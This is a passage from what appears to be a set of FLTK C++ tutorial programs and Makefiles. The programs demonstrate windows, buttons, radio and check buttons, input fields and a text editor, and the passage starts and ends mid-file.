Fl_Widget *p;
do {
p = w->parent();
if(p)
w = p;
} while(p);
w->hide();
}
int main(int argc, char **argv)
{
int win_w = button_w * 3 + spacing * 4;
int win_h = input_h + button_h + spacing * 3;
Fl_Window *win = new Fl_Window(win_w, win_h, "input demo");
int inp_w = button_w * 3 + 2 * spacing - label_w;
Fl_Input *inp = new Fl_Input(spacing + label_w,
spacing, inp_w, input_h, "Type:");
inp->callback(say_callback, (void*)inp);
inp->when(FL_WHEN_ENTER_KEY|FL_WHEN_NOT_CHANGED);
int buttons_y = 2 * spacing + input_h;
Fl_Button *say_b =
new Fl_Button(spacing, buttons_y, button_w, button_h, "Say it!");
say_b->callback(say_callback, (void*)inp);
Fl_Button *clear_b =
new Fl_Button(2 * spacing + button_w,
buttons_y, button_w, button_h, "Clear");
clear_b->callback(clear_callback, (void*)inp);
Fl_Button *close_b =
new Fl_Button(3 * spacing + 2 * button_w,
buttons_y, button_w, button_h, "Quit");
close_b->callback(exit_callback, 0);
win->end();
win->show();
return Fl::run();
}
fltk/speak.cppC++ / 50 lines
#include <stdio.h>
#include <stdlib.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
enum {
spacing = 5,
button_w = 200,
button_h = 40,
font_size = 20
};
static const char *msg[] = {
"Say hello", "Say goodbye", "Quit"
};
static void say_callback(Fl_Widget *w, void *user)
{
printf("%s\n", (const char*)user);
}
static void exit_callback(Fl_Widget *, void *)
{
exit(0);
}
int main(int argc, char **argv)
{
int win_w = button_w + spacing * 2;
int win_h = button_h * 3 + spacing * 4;
Fl_Window *win = new Fl_Window(win_w, win_h, "buttons demo");
Fl_Button *b[3];
int i;
int y = spacing;
for(i = 0; i < 3; i++) {
b[i] = new Fl_Button(spacing, y, button_w, button_h, msg[i]);
b[i]->labelsize(font_size);
y += button_h + spacing;
}
win->end();
b[0]->callback(say_callback, (void*)"Hello, world!");
b[1]->callback(say_callback, (void*)"Goodbye, world!");
b[2]->callback(exit_callback, 0);
win->show();
return Fl::run();
}
01 (10-11)
MakefileMake / 13 lines
FLTK_DIR = $(HOME)/.app/fltk-1.3.11
CPPFLAGS = -I$(FLTK_DIR)
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDFLAGS = -L$(FLTK_DIR)/lib
LDLIBS = $(shell $(FLTK_DIR)/fltk-config --ldflags)
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
hello.cppC++ / 13 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
int main(int argc, char **argv)
{
Fl_Window *win = new Fl_Window(800, 800, "hello");
Fl_Box *b = new Fl_Box(200, 200, 200, 200, "Hello, World!");
b->labelsize(36);
win->end();
win->show();
return Fl::run();
}
hello01.cppC++ / 21 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Group.H>
#include <FL/Fl_Box.H>
int main(int argc, char **argv)
{
Fl_Window *win = new Fl_Window(300, 200, "Example");
Fl_Group *group = new Fl_Group(50, 40, 200, 120);
Fl_Box *box = new Fl_Box(60, 50, 100, 40, "Text");
box->labelsize(24);
group->end();
win->end();
win->show();
return Fl::run();
}
02 (10-11)
MakefileMake / 13 lines
FLTK_DIR = $(HOME)/.app/fltk-1.3.11
CPPFLAGS = -I$(FLTK_DIR)
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDFLAGS = -L$(FLTK_DIR)/lib
LDLIBS = $(shell $(FLTK_DIR)/fltk-config --ldflags)
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
button.cppC++ / 57 lines
#include <stdio.h>
#include <stdlib.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
enum {
spacing = 5,
button_w = 200,
button_h = 40,
font_size = 20,
num_buttons = 3
};
static const char *msg[] = {
"Say hello", "Say goodbye", "Quit"
};
static void say_callback(Fl_Widget *, void *user)
{
printf("%s\n", (const char*) user);
}
static void exit_callback(Fl_Widget *w, void *)
{
Fl_Widget *p;
do {
p = w->parent();
if (p)
w = p;
} while(p);
w->hide();
}
int main(int argc, char **argv)
{
msg[0] = "Bob";
int win_w = button_w + 2 * spacing;
int win_h = num_buttons * button_h + (num_buttons + 1) * spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "buttons demo");
Fl_Button *b[3];
for (int i = 0, y = spacing; i < num_buttons;
i++, y += button_h + spacing) {
b[i] = new Fl_Button(spacing, y, button_w, button_h, msg[i]);
b[i]->labelsize(font_size);
}
win->end();
b[0]->callback(say_callback, (void*)"Hello, world!");
b[1]->callback(say_callback, (void*)"Goodbye, world!");
b[2]->callback(exit_callback, 0);
win->show();
return Fl::run();
}
hello.cppC++ / 49 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
static const char hello_msg[] = "hello there";
class ClickableBox : public Fl_Box {
public:
ClickableBox(int x, int y, int w, int h, const char *label)
: Fl_Box(x, y, w, h, label) {}
int handle(int event)
{
if (event == FL_PUSH) {
do_callback();
return 1;
}
return Fl_Box::handle(event);
}
};
static void say_callback(Fl_Widget *, void *user)
{
printf("%s\n", (const char*) user);
}
int main(int argc, char **argv)
{
Fl_Window *win = new Fl_Window(300, 200, hello_msg);
Fl_Group *group = new Fl_Group(20, 20, 260, 160);
ClickableBox *box =
new ClickableBox(20, 20, 260, 160, hello_msg);
box->labelsize(24);
box->labelcolor(FL_WHITE);
box->box(FL_FLAT_BOX);
box->color(FL_GREEN);
box->callback(say_callback, (void*)hello_msg);
group->end();
win->end();
win->show();
return Fl::run();
}
03 (10-11)
MakefileMake / 13 lines
FLTK_DIR = $(HOME)/.app/fltk-1.3.11
CPPFLAGS = -I$(FLTK_DIR)
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDFLAGS = -L$(FLTK_DIR)/lib
LDLIBS = $(shell $(FLTK_DIR)/fltk-config --ldflags)
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
buttons.cppC++ / 91 lines
#include <stdio.h>
#include <stdlib.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
#include <FL/Fl_Radio_Round_Button.H>
#include <FL/Fl_Check_Button.H>
#include <FL/Fl_Box.H>
enum {
spacing = 2,
button_w = 150,
button_h = 40,
option_w = 120,
option_h = 20,
letter_size = 90,
num_radio_buttons = 3
};
static const int colors[] = { FL_RED, FL_GREEN, FL_BLUE };
static const char *const colnames[] = { "red", "green", "blue" };
static const char *const check_button_name = "show letter";
static const char *const buttons_name[] = { "Set!", "Quit" };
struct controls {
Fl_Radio_Round_Button *rb[num_radio_buttons];
Fl_Check_Button *cb;
Fl_Box *box;
};
static void set_callback(Fl_Widget *w, void *user)
{
controls *c = (controls*)user;
for (int i = 0; i < num_radio_buttons; i++)
if (c->rb[i]->value()) {
c->box->color(colors[i]);
break;
}
c->box->label(c->cb->value() ? "A" : "");
}
static void exit_callback(Fl_Widget *w, void *)
{
Fl_Widget *p;
do {
p = w->parent();
if (p)
w = p;
} while(p);
w->hide();
}
int main(int argc, char **argv)
{
int win_w = 2 * button_w + 3 * spacing;
int win_h = 4 * option_h + button_h + 7 * spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "buttons demo");
controls *ctrl = new controls;
for (int i = 0; i < num_radio_buttons; i++) {
int y = spacing * (i + 1) + option_h * i;
ctrl->rb[i] = new Fl_Radio_Round_Button(spacing, y,
option_w, option_h,
colnames[i]);
}
ctrl->cb = new Fl_Check_Button(spacing, 5 * spacing + 3 * option_h,
option_w, option_h, check_button_name);
int box_x = 2 * spacing + option_w;
int box_w = 2 * button_w + spacing - option_w - spacing;
int box_h = 4 * option_h + 4 * spacing;
ctrl->box = new Fl_Box(box_x, spacing, box_w, box_h);
ctrl->box->labelsize(letter_size);
ctrl->box->labelcolor(FL_WHITE);
ctrl->box->box(FL_FLAT_BOX);
int button_y = 6 * spacing + 4 * option_h;
Fl_Button *set_b = new Fl_Button(spacing, button_y,
button_w, button_h, buttons_name[0]);
set_b->callback(set_callback, (void*)ctrl);
Fl_Button *close_b = new Fl_Button(2 * spacing + button_w, button_y,
button_w, button_h, buttons_name[1]);
close_b->callback(exit_callback, 0);
win->end();
win->show();
return Fl::run();
}
buttons01.cppC++ / 99 lines
#include <stdio.h>
#include <stdlib.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
#include <FL/Fl_Radio_Button.H>
#include <FL/Fl_Check_Button.H>
#include <FL/Fl_Box.H>
enum {
spacing = 2,
button_w = 150,
button_h = 40,
option_w = 120,
option_h = 20,
letter_size = 90,
num_radio_buttons = 3
};
static const int colors[] = { FL_RED, FL_GREEN, FL_BLUE };
static const char *const colnames[] = { "red", "green", "blue" };
static const char *const check_button_name = "show letter";
static const char *const buttons_name[] = { "Set!", "Quit" };
struct controls {
Fl_Radio_Button *rb[num_radio_buttons];
Fl_Check_Button *cb;
Fl_Box *box;
};
static void set_callback(Fl_Widget *w, void *user)
{
controls *c = (controls*)user;
for (int i = 0; i < num_radio_buttons; i++)
if (c->rb[i]->value()) {
c->box->color(colors[i]);
break;
}
c->box->label(c->cb->value() ? "A" : "");
}
static void exit_callback(Fl_Widget *w, void *)
{
Fl_Widget *p;
do {
p = w->parent();
if (p)
w = p;
} while(p);
w->hide();
}
int main(int argc, char **argv)
{
int win_w = 2 * button_w + 3 * spacing;
int win_h = 4 * option_h + button_h + 7 * spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "buttons demo");
controls *ctrl = new controls;
Fl_Group *group = new Fl_Group(0, 0, 200, 120);
int i = 0;
int y = spacing * (i + 1) + option_h * i;
ctrl->rb[i] = new Fl_Radio_Button(spacing, y,
option_w, option_h,
colnames[i]);
group->end();
for (i = 1; i < num_radio_buttons; i++) {
int y = spacing * (i + 1) + option_h * i;
ctrl->rb[i] = new Fl_Radio_Button(spacing, y,
option_w, option_h,
colnames[i]);
}
ctrl->cb = new Fl_Check_Button(spacing, 5 * spacing + 3 * option_h,
option_w, option_h, check_button_name);
int box_x = 2 * spacing + option_w;
int box_w = 2 * button_w + spacing - option_w - spacing;
int box_h = 4 * option_h + 4 * spacing;
ctrl->box = new Fl_Box(box_x, spacing, box_w, box_h);
ctrl->box->labelsize(letter_size);
ctrl->box->labelcolor(FL_WHITE);
ctrl->box->box(FL_FLAT_BOX);
int button_y = 6 * spacing + 4 * option_h;
Fl_Button *set_b = new Fl_Button(spacing, button_y,
button_w, button_h, buttons_name[0]);
set_b->callback(set_callback, (void*)ctrl);
Fl_Button *close_b = new Fl_Button(2 * spacing + button_w, button_y,
button_w, button_h, buttons_name[1]);
close_b->callback(exit_callback, 0);
win->end();
win->show();
return Fl::run();
}
buttons02.cppC++ / 99 lines
#include <stdio.h>
#include <stdlib.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
#include <FL/Fl_Radio_Round_Button.H>
#include <FL/Fl_Check_Button.H>
#include <FL/Fl_Box.H>
enum {
spacing = 2,
button_w = 150,
button_h = 40,
option_w = 120,
option_h = 20,
letter_size = 90,
num_radio_buttons = 3
};
static const int colors[] = { FL_RED, FL_GREEN, FL_BLUE };
static const char *const colnames[] = { "red", "green", "blue" };
static const char *const check_button_name = "show letter";
static const char *const buttons_name[] = { "Set!", "Quit" };
struct controls {
Fl_Radio_Round_Button *rb[num_radio_buttons];
Fl_Check_Button *cb;
Fl_Box *box;
};
static void set_callback(Fl_Widget *w, void *user)
{
controls *c = (controls*)user;
for (int i = 0; i < num_radio_buttons; i++)
if (c->rb[i]->value()) {
c->box->color(colors[i]);
break;
}
c->box->label(c->cb->value() ? "A" : "");
}
static void exit_callback(Fl_Widget *w, void *)
{
Fl_Widget *p;
do {
p = w->parent();
if (p)
w = p;
} while(p);
w->hide();
}
int main(int argc, char **argv)
{
int win_w = 2 * button_w + 3 * spacing;
int win_h = 4 * option_h + button_h + 7 * spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "buttons demo");
controls *ctrl = new controls;
Fl_Group *group = new Fl_Group(0, 0, 200, 120);
int i = 0;
int y = spacing * (i + 1) + option_h * i;
ctrl->rb[i] = new Fl_Radio_Round_Button(spacing, y,
option_w, option_h,
colnames[i]);
group->end();
for (i = 1; i < num_radio_buttons; i++) {
int y = spacing * (i + 1) + option_h * i;
ctrl->rb[i] = new Fl_Radio_Round_Button(spacing, y,
option_w, option_h,
colnames[i]);
}
ctrl->cb = new Fl_Check_Button(spacing, 5 * spacing + 3 * option_h,
option_w, option_h, check_button_name);
int box_x = 2 * spacing + option_w;
int box_w = 2 * button_w + spacing - option_w - spacing;
int box_h = 4 * option_h + 4 * spacing;
ctrl->box = new Fl_Box(box_x, spacing, box_w, box_h);
ctrl->box->labelsize(letter_size);
ctrl->box->labelcolor(FL_WHITE);
ctrl->box->box(FL_FLAT_BOX);
int button_y = 6 * spacing + 4 * option_h;
Fl_Button *set_b = new Fl_Button(spacing, button_y,
button_w, button_h, buttons_name[0]);
set_b->callback(set_callback, (void*)ctrl);
Fl_Button *close_b = new Fl_Button(2 * spacing + button_w, button_y,
button_w, button_h, buttons_name[1]);
close_b->callback(exit_callback, 0);
win->end();
win->show();
return Fl::run();
}
04 (10-11)
MakefileMake / 13 lines
FLTK_DIR = $(HOME)/.app/fltk-1.3.11
CPPFLAGS = -I$(FLTK_DIR)
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDFLAGS = -L$(FLTK_DIR)/lib
LDLIBS = $(shell $(FLTK_DIR)/fltk-config --ldflags)
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
input.cppC++ / 73 lines
#include <stdio.h>
#include <stdlib.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Input.H>
#include <FL/Fl_Button.H>
enum {
spacing = 20,
input_h = 30,
label_w = 50,
button_w = 100,
button_h = 40
};
static void say_callback(Fl_Widget *w, void *user)
{
Fl_Input *input = (Fl_Input*) user;
printf("%s\n", input->value());
input->take_focus();
}
static void clear_callback(Fl_Widget *w, void *user)
{
Fl_Input *input = (Fl_Input*) user;
input->value("");
input->take_focus();
}
static void exit_callback(Fl_Widget *w, void *)
{
Fl_Widget *p;
do {
p = w->parent();
if (p)
w = p;
} while(p);
w->hide();
}
int main(int argc, char **argv)
{
int win_w = 3 * button_w + 4 * spacing;
int win_h = input_h + button_h + 3 * spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "input demo");
int input_w = 3 * button_w + 2 * spacing - label_w;
Fl_Input *inp =
new Fl_Input(spacing + label_w, spacing,
input_w, input_h, "Type: ");
inp->callback(say_callback, (void*)inp);
inp->when(FL_WHEN_ENTER_KEY|FL_WHEN_NOT_CHANGED);
int buttons_y = 2 * spacing + input_h;
Fl_Button *say_b =
new Fl_Button(spacing, buttons_y,
button_w, button_h, "Say it!");
say_b->callback(say_callback, (void*)inp);
Fl_Button *clear_b =
new Fl_Button(2 * spacing + button_w, buttons_y,
button_w, button_h, "Clear");
clear_b->callback(clear_callback, (void*)inp);
Fl_Button *close_b =
new Fl_Button(3 * spacing + 2 * button_w, buttons_y,
button_w, button_h, "Quit");
close_b->callback(exit_callback, 0);
win->end();
win->show();
return Fl::run();
}
input01.cppC++ / 76 lines
#include <stdio.h>
#include <stdlib.h>
#include <FL/Fl.H>
#include <FL/Fl_Box.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Input.H>
#include <FL/Fl_Button.H>
enum {
spacing = 20,
input_h = 30,
label_w = 50,
button_w = 100,
button_h = 40
};
static void say_callback(Fl_Widget *w, void *user)
{
Fl_Input *input = (Fl_Input*) user;
printf("%s\n", input->value());
input->take_focus();
}
static void clear_callback(Fl_Widget *w, void *user)
{
Fl_Input *input = (Fl_Input*) user;
input->value("");
input->take_focus();
}
static void exit_callback(Fl_Widget *w, void *)
{
Fl_Widget *p;
do {
p = w->parent();
if (p)
w = p;
} while(p);
w->hide();
}
int main(int argc, char **argv)
{
int win_w = 3 * button_w + 4 * spacing;
int win_h = input_h + button_h + 3 * spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "input demo");
new Fl_Box(spacing, spacing, label_w, input_h, "Type: ");
int input_w = 3 * button_w + 2 * spacing - label_w;
Fl_Input *inp =
new Fl_Input(spacing + label_w, spacing,
input_w, input_h);
inp->callback(say_callback, (void*)inp);
inp->when(FL_WHEN_ENTER_KEY|FL_WHEN_NOT_CHANGED);
int buttons_y = 2 * spacing + input_h;
Fl_Button *say_b =
new Fl_Button(spacing, buttons_y,
button_w, button_h, "Say it!");
say_b->callback(say_callback, (void*)inp);
Fl_Button *clear_b =
new Fl_Button(2 * spacing + button_w, buttons_y,
button_w, button_h, "Clear");
clear_b->callback(clear_callback, (void*)inp);
Fl_Button *close_b =
new Fl_Button(3 * spacing + 2 * button_w, buttons_y,
button_w, button_h, "Quit");
close_b->callback(exit_callback, 0);
win->end();
win->show();
return Fl::run();
}
input02.cppC++ / 73 lines
#include <stdio.h>
#include <stdlib.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Input.H>
#include <FL/Fl_Button.H>
enum {
spacing = 20,
input_h = 30,
label_w = 50,
button_w = 100,
button_h = 40
};
static void say_callback(Fl_Widget *w, void *user)
{
Fl_Input *input = (Fl_Input*) user;
printf("%s\n", input->value());
input->take_focus();
}
static void clear_callback(Fl_Widget *w, void *user)
{
Fl_Input *input = (Fl_Input*) user;
input->value("");
input->take_focus();
}
static void exit_callback(Fl_Widget *w, void *)
{
Fl_Widget *p;
do {
p = w->parent();
if (p)
w = p;
} while(p);
w->hide();
}
int main(int argc, char **argv)
{
int win_w = 3 * button_w + 4 * spacing;
int win_h = input_h + button_h + 3 * spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "input demo");
int input_w = 3 * button_w + 2 * spacing - label_w;
Fl_Input *inp =
new Fl_Input(spacing + label_w, spacing,
input_w, input_h, "Type: ");
inp->callback(say_callback, (void*)inp);
inp->when(FL_WHEN_ENTER_KEY|FL_WHEN_NOT_CHANGED);
int buttons_y = 2 * spacing + input_h;
Fl_Button *say_b =
new Fl_Button(spacing, buttons_y,
button_w, button_h, "Say it!");
say_b->callback(say_callback, (void*)inp);
Fl_Button *clear_b =
new Fl_Button(2 * spacing + button_w, buttons_y,
button_w, button_h, "Clear");
clear_b->callback(clear_callback, (void*)inp);
Fl_Button *close_b =
new Fl_Button(3 * spacing + 2 * button_w, buttons_y,
button_w, button_h, "Quit");
close_b->callback(exit_callback, 0);
win->end();
win->show();
return Fl::run();
}
input03.cppC++ / 69 lines
#include <stdio.h>
#include <stdlib.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Input.H>
#include <FL/Fl_Button.H>
enum {
spacing = 20,
input_h = 30,
label_w = 50,
button_w = 100,
button_h = 40
};
static void say_callback(Fl_Widget *w, void *user)
{
Fl_Input *input = static_cast<Fl_Input*>(user);
printf("%s\n", input->value());
input->take_focus();
}
static void clear_callback(Fl_Widget *w, void *user)
{
Fl_Input *input = static_cast<Fl_Input*>(user);
input->value("");
input->take_focus();
}
static void exit_callback(Fl_Widget *w, void *)
{
Fl_Widget *p;
do {
p = w->parent();
if (p)
w = p;
} while(p);
w->hide();
}
int main(int argc, char **argv)
{
int win_w = 3 * button_w + 4 * spacing;
int win_h = input_h + button_h + 3 * spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "input demo");
int input_w = 3 * button_w + 2 * spacing - label_w;
Fl_Input *inp = new Fl_Input(spacing + label_w, spacing,
input_w, input_h, "Type: ");
inp->callback(say_callback, (void*)inp);
inp->when(FL_WHEN_ENTER_KEY|FL_WHEN_NOT_CHANGED);
int buttons_y = 2 * spacing + input_h;
Fl_Button *say_b = new Fl_Button(spacing, buttons_y,
button_w, button_h, "Say it!");
say_b->callback(say_callback, (void*)inp);
Fl_Button *clear_b = new Fl_Button(2 * spacing + button_w, buttons_y,
button_w, button_h, "Clear");
clear_b->callback(clear_callback, (void*)inp);
Fl_Button *close_b = new Fl_Button(3 * spacing + 2 * button_w, buttons_y,
button_w, button_h, "Quit");
close_b->callback(exit_callback, 0);
win->end();
win->show();
return Fl::run();
}
input_methods00.cppC++ / 42 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Input.H>
enum {
spacing = 10,
input_w = 500,
input_h = 50,
label_w = 50,
font_size = 20
};
static void say_callback(Fl_Widget *w, void *user)
{
Fl_Input *input = static_cast<Fl_Input*>(user);
printf("%s\n", input->value());
input->take_focus();
}
int main(int argc, char **argv)
{
int win_w = label_w + input_w + 3 * spacing;
int win_h = input_h + 2 * spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "input demo");
Fl_Input *inp = new Fl_Input(spacing + label_w, spacing,
input_w, input_h, "Type: ");
inp->callback(say_callback, (void*)inp);
inp->when(FL_WHEN_ENTER_KEY|FL_WHEN_NOT_CHANGED);
inp->textsize(font_size);
inp->labelsize(font_size);
inp->textcolor(FL_GRAY);
inp->color(FL_BLACK);
inp->cursor_color(FL_GRAY);
win->end();
win->show();
return Fl::run();
}
input_methods01.cppC++ / 49 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Input.H>
enum {
spacing = 10,
input_w = 500,
input_h = 50,
label_w = 50,
font_size = 20
};
static void say_callback(Fl_Widget *w, void *user)
{
Fl_Input *input = static_cast<Fl_Input*>(user);
printf("%s\n", input->value());
input->take_focus();
}
int main(int argc, char **argv)
{
int win_w = label_w + input_w + 3 * spacing;
int win_h = input_h + 2 * spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "input demo");
Fl_Input *inp = new Fl_Input(spacing + label_w, spacing,
input_w, input_h, "Type: ");
inp->callback(say_callback, (void*)inp);
inp->when(FL_WHEN_ENTER_KEY|FL_WHEN_NOT_CHANGED);
inp->value("hello there");
inp->textsize(font_size);
inp->labelsize(font_size);
inp->textcolor(FL_GRAY);
inp->color(FL_BLACK);
inp->cursor_color(FL_GRAY);
inp->position(1);
inp->mark(9);
int size = inp->size();
inp->size(200, 50);
printf("%d\n", size);
win->end();
win->show();
return Fl::run();
}
input_methods02.cppC++ / 45 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Input.H>
enum {
spacing = 10,
input_w = 500,
input_h = 50,
label_w = 50,
font_size = 20
};
static void say_callback(Fl_Widget *w, void *user)
{
Fl_Input *input = static_cast<Fl_Input*>(user);
printf("%s\n", input->value());
input->take_focus();
}
int main(int argc, char **argv)
{
int win_w = label_w + input_w + 3 * spacing;
int win_h = input_h + 2 * spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "input demo");
Fl_Input *inp = new Fl_Input(spacing + label_w, spacing,
input_w, input_h, "Type: ");
inp->callback(say_callback, (void*)inp);
inp->when(FL_WHEN_ENTER_KEY|FL_WHEN_NOT_CHANGED);
inp->value("hello there");
inp->textsize(font_size);
inp->labelsize(font_size);
inp->textcolor(FL_GRAY);
inp->color(FL_BLACK);
inp->cursor_color(FL_GRAY);
inp->position(1);
inp->insert("boom");
win->end();
win->show();
return Fl::run();
}
input_methods03.cppC++ / 40 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Int_Input.H>
enum {
spacing = 10,
input_w = 500,
input_h = 50,
label_w = 50,
font_size = 20
};
static void undo_callback(Fl_Widget *w, void *user)
{
Fl_Int_Input *input = static_cast<Fl_Int_Input*>(user);
input->undo();
}
int main(int argc, char **argv)
{
int win_w = label_w + input_w + 3 * spacing;
int win_h = input_h + 2 * spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "input demo");
Fl_Int_Input *inp = new Fl_Int_Input(spacing + label_w, spacing,
input_w, input_h, "Type: ");
inp->callback(undo_callback, (void*)inp);
inp->when(FL_WHEN_ENTER_KEY|FL_WHEN_NOT_CHANGED);
inp->textsize(font_size);
inp->labelsize(font_size);
inp->textcolor(FL_GRAY);
inp->color(FL_BLACK);
inp->cursor_color(FL_GRAY);
win->end();
win->show();
return Fl::run();
}
input_methods04.cppC++ / 41 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Float_Input.H>
enum {
spacing = 10,
input_w = 500,
input_h = 50,
label_w = 50,
font_size = 20
};
static void say_callback(Fl_Widget *w, void *user)
{
Fl_Input *input = static_cast<Fl_Input*>(user);
printf("%s\n", input->value());
input->take_focus();
}
int main(int argc, char **argv)
{
int win_w = label_w + input_w + 3 * spacing;
int win_h = input_h + 2 * spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "input demo");
Fl_Float_Input *inp = new Fl_Float_Input(spacing + label_w, spacing,
input_w, input_h, "Type: ");
inp->callback(say_callback, (void*)inp);
inp->when(FL_WHEN_ENTER_KEY|FL_WHEN_NOT_CHANGED);
inp->textsize(font_size);
inp->labelsize(font_size);
inp->textcolor(FL_GRAY);
inp->color(FL_BLACK);
inp->cursor_color(FL_GRAY);
win->end();
win->show();
return Fl::run();
}
input_methods05.cppC++ / 41 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Secret_Input.H>
enum {
spacing = 10,
input_w = 500,
input_h = 50,
label_w = 50,
font_size = 20
};
static void say_callback(Fl_Widget *w, void *user)
{
Fl_Secret_Input *input = static_cast<Fl_Secret_Input*>(user);
printf("%s\n", input->value());
input->take_focus();
}
int main(int argc, char **argv)
{
int win_w = label_w + input_w + 3 * spacing;
int win_h = input_h + 2 * spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "input demo");
Fl_Secret_Input *inp = new Fl_Secret_Input(spacing + label_w, spacing,
input_w, input_h, "Type: ");
inp->callback(say_callback, (void*)inp);
inp->when(FL_WHEN_ENTER_KEY|FL_WHEN_NOT_CHANGED);
inp->textsize(font_size);
inp->labelsize(font_size);
inp->textcolor(FL_GRAY);
inp->color(FL_BLACK);
inp->cursor_color(FL_GRAY);
win->end();
win->show();
return Fl::run();
}
multiline_input.cppC++ / 27 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Multiline_Input.H>
enum {
input_w = 500,
input_h = 200,
font_size = 30
};
int main(int argc, char **argv)
{
Fl_Window *win = new Fl_Window(input_w, input_h, "input demo");
Fl_Multiline_Input *inp = new Fl_Multiline_Input(0, 0, input_w, input_h);
inp->textsize(font_size);
inp->labelsize(font_size);
inp->textcolor(FL_GRAY);
inp->color(FL_BLACK);
inp->cursor_color(FL_GRAY);
inp->wrap(1);
win->end();
win->show();
return Fl::run();
}
multiline_input01.cppC++ / 32 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
#include <FL/Fl_Multiline_Input.H>
enum {
input_w = 500,
input_h = 200,
font_size = 30,
box_h = 30
};
int main(int argc, char **argv)
{
Fl_Window *win = new Fl_Window(input_w, input_h, "input demo");
Fl_Box *box = new Fl_Box(0, 0, input_w, box_h, "multiline input");
box->labelsize(font_size);
Fl_Multiline_Input *inp = new Fl_Multiline_Input(0, box_h, input_w, input_h);
inp->textsize(font_size);
inp->labelsize(font_size);
inp->textcolor(FL_GRAY);
inp->color(FL_BLACK);
inp->cursor_color(FL_GRAY);
inp->wrap(1);
win->end();
win->show();
return Fl::run();
}
text_editor.cppC++ / 40 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Text_Editor.H>
enum {
input_w = 1000,
input_h = 1000,
font_size = 40
};
static void print_callback(Fl_Widget *w, void *user)
{
Fl_Text_Editor *editor = static_cast<Fl_Text_Editor*>(user);
char* str = editor->buffer()->text();
fputs(str, stdout);
fflush(stdout);
free(str);
editor->take_focus();
}
int main(int argc, char **argv)
{
Fl_Window *win = new Fl_Window(input_w, input_h, "input demo");
Fl_Text_Buffer *buf = new Fl_Text_Buffer;
Fl_Text_Editor *ed = new Fl_Text_Editor(0, 0, input_w, input_h);
ed->buffer(buf);
ed->textsize(font_size);
ed->labelsize(font_size);
ed->textcolor(FL_GRAY);
ed->color(FL_BLACK);
ed->cursor_color(FL_GRAY);
ed->callback(print_callback, (void*)ed);
win->end();
win->show();
return Fl::run();
}
text_editor01.cppC++ / 56 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
#include <FL/Fl_Text_Editor.H>
enum {
input_w = 1000,
input_h = 1000,
button_h = 100,
font_size = 40
};
static void print_callback(Fl_Widget *w, void *user)
{
Fl_Text_Editor *editor = static_cast<Fl_Text_Editor*>(user);
char* str = editor->buffer()->text();
fputs(str, stdout);
fflush(stdout);
free(str);
editor->take_focus();
}
static void clear_callback(Fl_Widget *w, void *user)
{
Fl_Text_Editor *editor = static_cast<Fl_Text_Editor*>(user);
editor->buffer()->text("");
editor->take_focus();
}
int main(int argc, char **argv)
{
Fl_Window *win = new Fl_Window(input_w, input_h + button_h, "input demo");
Fl_Text_Buffer *buf = new Fl_Text_Buffer;
Fl_Text_Editor *ed = new Fl_Text_Editor(0, 0, input_w, input_h);
ed->buffer(buf);
ed->textsize(font_size);
ed->textcolor(FL_GRAY);
ed->color(FL_BLACK);
ed->cursor_color(FL_GRAY);
Fl_Button *print_b = new Fl_Button(0, input_h,
input_w / 2, button_h, "Print");
print_b->callback(print_callback, (void*)ed);
print_b->labelsize(font_size);
